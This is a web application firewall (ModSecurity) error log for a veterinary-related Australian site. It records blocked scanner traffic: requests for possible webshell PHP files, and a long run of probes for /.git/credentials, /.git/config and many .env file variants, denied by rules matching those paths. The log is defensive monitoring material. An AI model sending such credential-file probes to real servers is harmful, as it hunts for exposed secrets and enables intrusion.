[Fri Jan 30 07:32:29.933416 2026] [:error] [pid 38980:tid 38994] [client 20.196.201.42:9779] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abtpn.php"] [unique_id "aXvuDbYByxUZEaKXdHr3cQAAAgc"]
[Fri Jan 30 07:32:30.281125 2026] [:error] [pid 38980:tid 38992] [client 20.196.201.42:9772] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abtpn.php"] [unique_id "aXvuDrYByxUZEaKXdHr3cwAAAgU"]
[Fri Jan 30 07:32:30.551808 2026] [:error] [pid 46912:tid 46922] [client 20.196.201.42:9781] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/my1.php"] [unique_id "aXvuDj6yiVW7A9NwFFkgHgAAAAA"]
[Fri Jan 30 07:32:30.835335 2026] [:error] [pid 46913:tid 46975] [client 20.196.201.42:9799] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/my1.php"] [unique_id "aXvuDjMWmKL8hOfC3uQuVgAAAFg"]
[Fri Jan 30 07:32:31.105501 2026] [:error] [pid 46913:tid 46965] [client 20.196.201.42:3019] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/my1.php"] [unique_id "aXvuDzMWmKL8hOfC3uQuVwAAAE4"]
[Fri Jan 30 07:32:31.377005 2026] [:error] [pid 46913:tid 46970] [client 20.196.201.42:3008] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/my1.php"] [unique_id "aXvuDzMWmKL8hOfC3uQuWAAAAFM"]
[Fri Jan 30 07:32:31.651718 2026] [:error] [pid 46913:tid 46968] [client 20.196.201.42:9775] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXvuDzMWmKL8hOfC3uQuWQAAAFE"]
[Fri Jan 30 07:32:31.944367 2026] [:error] [pid 46912:tid 46943] [client 20.196.201.42:3063] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXvuDz6yiVW7A9NwFFkgIAAAABM"]
[Fri Jan 30 07:32:32.224542 2026] [:error] [pid 24681:tid 24700] [client 20.196.201.42:9751] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXvuEIE368IXQpahn0LVLgAAARE"]
[Fri Jan 30 07:32:32.516535 2026] [:error] [pid 47021:tid 47033] [client 20.196.201.42:9752] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXvuENap1k13UdZUNSRnOAAAAMo"]
[Fri Jan 30 07:32:32.811612 2026] [:error] [pid 46912:tid 46938] [client 20.196.201.42:9768] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aXvuED6yiVW7A9NwFFkgIgAAAA4"]
[Fri Jan 30 07:32:33.087954 2026] [:error] [pid 24712:tid 24741] [client 20.196.201.42:9736] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aXvuEYRLQrFiQF3h9-tuoAAAAYA"]
[Fri Jan 30 07:32:33.362171 2026] [:error] [pid 24712:tid 24754] [client 20.196.201.42:9843] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aXvuEYRLQrFiQF3h9-tuoQAAAY0"]
[Fri Jan 30 07:32:33.632082 2026] [:error] [pid 46913:tid 46974] [client 20.196.201.42:9742] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aXvuETMWmKL8hOfC3uQuXgAAAFc"]
[Fri Jan 30 07:32:33.905318 2026] [:error] [pid 46912:tid 46944] [client 20.196.201.42:3045] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvuET6yiVW7A9NwFFkgJAAAABQ"]
[Fri Jan 30 07:32:34.178162 2026] [:error] [pid 38686:tid 38692] [client 20.196.201.42:9811] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvuEgoE8BAjgw1_sAWz2QAAAcI"]
[Fri Jan 30 07:32:34.489033 2026] [:error] [pid 46912:tid 46948] [client 20.196.201.42:9785] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvuEj6yiVW7A9NwFFkgJQAAABg"]
[Fri Jan 30 07:32:34.761109 2026] [:error] [pid 38686:tid 38710] [client 20.196.201.42:9833] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ypukprhr.php"] [unique_id "aXvuEgoE8BAjgw1_sAWz2wAAAdQ"]
[Fri Jan 30 07:32:35.053120 2026] [:error] [pid 46914:tid 46992] [client 20.196.201.42:9791] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tcnyz.php"] [unique_id "aXvuE1gSfJ4kZxNKlb_NfQAAAI4"]
[Fri Jan 30 07:32:35.325895 2026] [:error] [pid 46912:tid 46940] [client 20.196.201.42:9763] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tcnyz.php"] [unique_id "aXvuEz6yiVW7A9NwFFkgKAAAABA"]
[Fri Jan 30 07:32:35.612662 2026] [:error] [pid 46912:tid 46930] [client 20.196.201.42:2980] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tcnyz.php"] [unique_id "aXvuEz6yiVW7A9NwFFkgKQAAAAY"]
[Fri Jan 30 07:32:35.881909 2026] [:error] [pid 38686:tid 38696] [client 20.196.201.42:9764] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tcnyz.php"] [unique_id "aXvuEwoE8BAjgw1_sAWz3gAAAcY"]
[Fri Jan 30 10:06:20.554346 2026] [:error] [pid 24681:tid 24695] [client 54.85.158.54:41378] [client 54.85.158.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXwSHIE368IXQpahn0IEaAAAAQw"]
[Fri Jan 30 10:56:24.432890 2026] [:error] [pid 46913:tid 46954] [client 54.85.158.54:46930] [client 54.85.158.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aXwd2DMWmKL8hOfC3uRfUAAAAEM"]
[Fri Jan 30 11:15:45.215388 2026] [:error] [pid 47021:tid 47031] [client 182.43.70.143:44524] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXwiYdap1k13UdZUNSS7wwAAAMg"]
[Fri Jan 30 12:14:23.191085 2026] [:error] [pid 46912:tid 46944] [client 44.234.84.67:45390] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXwwHz6yiVW7A9NwFFlwjgAAABQ"], referer: https://www.google.com/
[Fri Jan 30 12:14:23.558464 2026] [:error] [pid 24711:tid 24728] [client 44.234.84.67:58518] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/credentials"] [unique_id "aXwwH65Gwh4var6T23LYwgAAAU4"], referer: https://www.google.com/
[Fri Jan 30 12:14:23.931216 2026] [:error] [pid 38686:tid 38698] [client 44.234.84.67:58524] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aXwwHwoE8BAjgw1_sAUHhAAAAcg"], referer: https://www.google.com/
[Fri Jan 30 12:14:24.299745 2026] [:error] [pid 38686:tid 38711] [client 44.234.84.67:58532] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aXwwIAoE8BAjgw1_sAUHhQAAAdU"], referer: https://www.google.com/
[Fri Jan 30 12:14:24.662383 2026] [:error] [pid 47663:tid 47687] [client 44.234.84.67:58542] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aXwwIEHGTrgIKCqEYbU_lQAAAlY"], referer: https://www.google.com/
[Fri Jan 30 12:14:25.023399 2026] [:error] [pid 24711:tid 24718] [client 44.234.84.67:58550] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aXwwIa5Gwh4var6T23LYwwAAAUQ"], referer: https://www.google.com/
[Fri Jan 30 12:14:25.392414 2026] [:error] [pid 24711:tid 24735] [client 44.234.84.67:58554] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aXwwIa5Gwh4var6T23LYxAAAAVU"], referer: https://www.google.com/
[Fri Jan 30 12:14:25.774380 2026] [:error] [pid 47021:tid 47041] [client 44.234.84.67:58566] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aXwwIdap1k13UdZUNSTNuQAAANI"], referer: https://www.google.com/
[Fri Jan 30 12:14:26.136275 2026] [:error] [pid 46913:tid 46962] [client 44.234.84.67:58576] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "aXwwIjMWmKL8hOfC3uRyRgAAAEs"], referer: https://www.google.com/
[Fri Jan 30 12:14:26.514034 2026] [:error] [pid 38686:tid 38693] [client 44.234.84.67:58590] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "aXwwIgoE8BAjgw1_sAUHhwAAAcM"], referer: https://www.google.com/
[Fri Jan 30 12:14:26.892271 2026] [:error] [pid 24712:tid 24759] [client 44.234.84.67:58592] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aXwwIoRLQrFiQF3h9-vC2wAAAZE"], referer: https://www.google.com/
[Fri Jan 30 12:14:27.295028 2026] [:error] [pid 24712:tid 24758] [client 44.234.84.67:58594] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aXwwI4RLQrFiQF3h9-vC3AAAAZA"], referer: https://www.google.com/
[Fri Jan 30 12:14:27.669599 2026] [:error] [pid 46914:tid 46989] [client 44.234.84.67:58600] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aXwwI1gSfJ4kZxNKlb8wRgAAAIs"], referer: https://www.google.com/
[Fri Jan 30 12:14:28.036250 2026] [:error] [pid 24681:tid 24699] [client 44.234.84.67:58614] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aXwwJIE368IXQpahn0IjwQAAARA"], referer: https://www.google.com/
[Fri Jan 30 12:14:28.404642 2026] [:error] [pid 46913:tid 46958] [client 44.234.84.67:58630] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aXwwJDMWmKL8hOfC3uRyRwAAAEc"], referer: https://www.google.com/
[Fri Jan 30 12:14:28.768669 2026] [:error] [pid 24711:tid 24717] [client 44.234.84.67:58640] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "aXwwJK5Gwh4var6T23LYyQAAAUM"], referer: https://www.google.com/
[Fri Jan 30 12:14:29.138033 2026] [:error] [pid 24681:tid 24700] [client 44.234.84.67:58654] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aXwwJYE368IXQpahn0IjxAAAARE"], referer: https://www.google.com/
[Fri Jan 30 12:14:29.512782 2026] [:error] [pid 24711:tid 24722] [client 44.234.84.67:58662] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "aXwwJa5Gwh4var6T23LYzQAAAUg"], referer: https://www.google.com/
[Fri Jan 30 12:14:29.946122 2026] [:error] [pid 47663:tid 47679] [client 44.234.84.67:58674] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod.local"] [unique_id "aXwwJUHGTrgIKCqEYbU_nQAAAk4"], referer: https://www.google.com/
[Fri Jan 30 12:14:30.313090 2026] [:error] [pid 38980:tid 38989] [client 44.234.84.67:58682] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "aXwwJrYByxUZEaKXdHo_PAAAAgI"], referer: https://www.google.com/
[Fri Jan 30 12:14:30.679776 2026] [:error] [pid 24681:tid 24684] [client 44.234.84.67:58696] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "aXwwJoE368IXQpahn0IjyAAAAQE"], referer: https://www.google.com/
[Fri Jan 30 12:14:31.049859 2026] [:error] [pid 24711:tid 24714] [client 44.234.84.67:58712] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.1"] [unique_id "aXwwJ65Gwh4var6T23LY0gAAAUA"], referer: https://www.google.com/
[Fri Jan 30 12:14:31.415026 2026] [:error] [pid 46914:tid 46979] [client 44.234.84.67:58720] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.2"] [unique_id "aXwwJ1gSfJ4kZxNKlb8wSwAAAIE"], referer: https://www.google.com/
[Fri Jan 30 12:14:31.784803 2026] [:error] [pid 46913:tid 46975] [client 44.234.84.67:58722] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "aXwwJzMWmKL8hOfC3uRyTAAAAFg"], referer: https://www.google.com/
[Fri Jan 30 12:14:32.153375 2026] [:error] [pid 47021:tid 47045] [client 44.234.84.67:58738] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/v1/.env"] [unique_id "aXwwKNap1k13UdZUNSTNvgAAANY"], referer: https://www.google.com/
[Fri Jan 30 12:14:32.528292 2026] [:error] [pid 38686:tid 38692] [client 44.234.84.67:58750] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/v2/.env"] [unique_id "aXwwKAoE8BAjgw1_sAUHjwAAAcI"], referer: https://www.google.com/
[Fri Jan 30 12:14:32.891144 2026] [:error] [pid 46912:tid 46927] [client 44.234.84.67:58754] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "aXwwKD6yiVW7A9NwFFlwlwAAAAM"], referer: https://www.google.com/
[Fri Jan 30 12:14:33.260853 2026] [:error] [pid 38980:tid 38988] [client 44.234.84.67:54380] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "aXwwKbYByxUZEaKXdHo_QQAAAgE"], referer: https://www.google.com/
[Fri Jan 30 12:14:33.629397 2026] [:error] [pid 46913:tid 46957] [client 44.234.84.67:54392] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "aXwwKTMWmKL8hOfC3uRyTgAAAEY"], referer: https://www.google.com/
[Fri Jan 30 12:14:33.996276 2026] [:error] [pid 46912:tid 46930] [client 44.234.84.67:54404] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "aXwwKT6yiVW7A9NwFFlwmQAAAAY"], referer: https://www.google.com/
